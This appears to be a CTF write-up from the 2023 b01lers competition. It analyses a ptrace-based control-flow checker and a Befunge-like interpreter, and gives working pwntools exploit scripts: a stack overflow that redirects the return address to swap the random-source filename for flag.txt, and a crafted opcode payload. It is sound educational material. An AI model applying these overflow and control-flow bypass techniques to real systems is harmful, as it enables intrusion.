Home (CTF) 2023 b01lers CTF writeup
Post
Cancel

(CTF) 2023 b01lers CTF writeup

Date: March 20, 2023 rank: 19 team: ST4RT

cfifuuufuuuuu ( 398 pt, 13 solve )

there are two files loader.pyc, a binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while 1:
    # res = ptrace(PTRACE_GETREGS, pid, 0, ctypes.addressof(regs))
    pid, status = os.waitpid(-1, 0)
    ssy = pnx(status)
    print(ssy)
    res = ptrace(PTRACE_GETREGS, pid, 0, ctypes.addressof(regs))
    print(hex(regs.rip))
    if ssy[1] == 'WIFEXITED':
        break
    if ssy[2] == 'SIGSEGV':
        break
    if ssy[2] == 'SIGTRAP':

> ['0x57f', 'WIFSTOPPED', "'SIGTRAP'", '0']

if I execute python code from uncompyle6, it doesn’t work due to the quote. Enclose comparing string with double quotes

1
2
int 3
adc [rax+XX]

In binary, there are some opcodes that cause SEGFAULT next to int 3. int 3 → SIGTRAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ssy[2] == 'SIGTRAP':
    res = ptrace(PTRACE_GETREGS, pid, 0, ctypes.addressof(regs))
    one_byte = mem_read(pid, regs.rip, 1)[0]
    if one_byte == 72:
        regs.rax = regs.rdi
        regs.rdi = regs.rsi
        ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
    else:
        if one_byte == 17 or one_byte == 33 or one_byte == 49:
            offd = {17:0,  33:40,  49:72}
            vv = mem_read(pid, regs.rsp + offd[one_byte], 8)
            vv = struct.unpack('<Q', vv)[0]
            saved_addr.add(vv)
            regs.rip += 1
            ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
        else:
            if one_byte == 18 or one_byte == 34 or one_byte == 50:
                offd = {18:0,  34:40,  50:72}
                vv = mem_read(pid, regs.rsp + offd[one_byte], 8)
                vv = struct.unpack('<Q', vv)[0]
                if vv not in saved_addr:
                    print('\\n\\n!!!Stack Violation Detected!!!\\n\\n')
                    regs.rip = 0
                    ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
                    break
                saved_addr.remove(vv)
                regs.rip += 1
                ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
    res = ptrace(PTRACE_CONT, pid, 0, 0)

In the loader, it handles SIGTRAP. it branches according to the 1byte next to int 3 opcode

1
2
3
0x48 -> rax = rdi, rdi = rsi
0x11,0x21,0x31 -> saved_addr.add([rsp+XX]), rip+=1
0x12,0x22,0x32 -> saved_addr.remove([rsp+XX]), if not exist, exit. rip+=1,

control flow check

binary routine

1
2
3
4
5
6
7
8
9
10
read(0,0x601004,0x10)
open("/dev/urandom") -> /dev/urandom string -> 0x601084
[0x601000]+=1
read(fd,0x601000+[0x601000]<<4+4],0x10) -> 0x601014
write(1,random values,0x10)
write xored data with random values
: 0x400486
read(0,[rsp+0x20],0x10)
read(0,[rsp+0x10],...) -> input until 0xA
write xored data [rsp+0x20], [rsp+0x10]

in function 0x400486, BOF occurs. there is int 3 + 0x32 at the end of the function. loader check if [rsp+0x48] in saved_addr.

There are two addresses at this time. original return 0x400546 and 0x4005e2.

In 0x4005e2, it executes that routing again if eax ≠ 0. the return value of write always 1.

repeating that routine, you can raise the address until 0x601084 ( /dev/urandom ) by increasing the input index (0x601000)

modifying this filename to flag.txt, it reads flag as random values and prints.

1
2
3
4
5
6
7
8
9
10
from pwn import *

# r = process(["/usr/bin/python3","/root/loader.py"])
r = remote("ctf.b01lers.com", 5215)
for i in range(9):
    print(i)
    r.sendafter('?:\n',b'flag.txt'.ljust(16,b'\x00'))
    r.sendafter(':\n',b'\x00'*16)
    r.sendline(b'\x00'*0x38+p64(0x4005e2))
r.interactive()

by repeating 8 times, the string address 0x601084 (/dev/urandom) can be overwritten, in the 9th routine, it prints flag as random values

baby noah ( 334 pt, 25 solve )

binary routine

  1. input map ( max : 8 * 24 )
  2. execute opcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
opcode = map[row * m_col + col]
col + flag1 (default 0)
row += flag2 (default 0)
miles += op+1

# / dup / stack[idx] = stack[idx-1], idx ++
! / test / stack[idx-1] = stack[idx-1] == 0
* / mul / stack[idx-2] *= stack[idx-1], idx-=1
+ / add / stack[idx-2] += stack[idx-1], idx-=1
- / sub / stack[idx-2] -= stack[idx-1], idx-=1, 
/ / div / stack[idx-2] /= stack[idx-1], idx-=1
% / mod / stack[idx-2] %= stack[idx-1], idx-=1
& / and / ...
, / swap / stack[idx-2] = stack[idx-1]; stack[idx-1] = stack[idx-2]
~ / pop / idx-=1
. / putc / putc(stack[idx-1])
: / printf / printf("%d",stack[idx-1])
< / left / flag1 = -1
> / right / flag1 = 1
@ / return 1
^ / up / flag2 = -1
v / down / flag2 = 1
_ / left_right / flag1 = stack[idx-1]==0 ? 1 : -1;
| / up_down / flag2 = stack[idx-1] == 0 ? 1 : -1;
g / load / stack[idx-2] = map[m_col * stack[idx-1] + stack[idx-2]]; idx-=1
p / store / map[m_col * stack[idx-2] + stack[idx-3]] = stack[idx-1]; idx-=3
default / stack[idx] = 0; idx++

in every execute, add opcode+1 to miles. using that opcodes, make miles 0x31337 to print flag. input size is 8 * 24, so i need to construct a loop.

first, push counter to stack

stack : [ 0x00, X ], idx = 2

  1. right to set flag1 = 1
  2. default (counter → map[0][1])
  3. default (dummy to idx++)
  4. default (dummy, in load row = 0)
  5. test to set stack[idx-1] = 1
  6. load X

payload : >XX!Xg

second, using two rows, construct a loop

  1. right to start loop
  2. default to idx++
  3. test to set stack[2] = 1
  4. sub stack[1]
  5. default & pop ( dummy op to increase miles )
  6. down
  7. left_right to check counter (stack[1]) == 0 if counter==0, goto right to exit else, goto left to execute remain loop count

>X!-X~v ^««<_@

Adjust the value X to make the miles to 0x31337.

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

#r=process(["./babynoah","20","flag.txt"])
r=remote("babynoah.bctf23-codelab.kctf.cloud", 1337)

payload = b">\xe4\xe4!\xffg>\xfe!-\x00~v\n"
payload +=b"\xff\xff\xff\xff\xff\xff^<<<<<<_@"
r.sendline(payload)
pause()
r.sendline()
r.interactive()

by default, X to 0xff and adjusted the rest appropriately

This post is licensed under CC BY 4.0 by the author.
Trending Tags